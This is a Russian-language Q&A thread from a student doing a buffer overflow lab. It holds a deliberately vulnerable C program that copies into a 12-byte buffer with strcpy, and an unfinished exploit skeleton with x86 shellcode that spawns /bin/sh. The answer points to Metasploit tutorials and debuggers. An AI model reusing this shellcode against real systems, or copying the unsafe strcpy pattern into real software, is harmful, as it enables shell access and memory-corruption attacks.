Использование BufferOverflow

Я работаю над проектом, в котором я должен написать программу на C, чтобы использовать уязвимость данной программы.

Вот уязвимая программа на C:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

И вот код для эксплойта:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}

Итак, мне нужно заполнить буфер соответствующим содержимым перед сохранением в "badfile". Я много читал о переполнении буфера, и мне кажется, мне нужно изменить адрес возврата уязвимой программы. Но я действительно не знаю, как я должен это делать. Должен ли я сначала найти исходный адрес возврата или есть что-то еще, что я могу сделать? Кроме того, любые идеи/предложения о том, как я должен реализовать буфер?

Ответ 1

Я предлагаю прочитать страницы на Metasploit Unleashed, начиная с этого. Вы можете пройти через связанные рубиновые модули, посмотреть, что на самом деле происходит, и порт на C. Хотя нетривиально, он демонстрирует необходимые методы.

Также, как и другие, с помощью отладчика важно выяснить, что происходит. Получение достойного, например cgdb, ddd, pyclewn или gdb-mode, облегчит жизнь.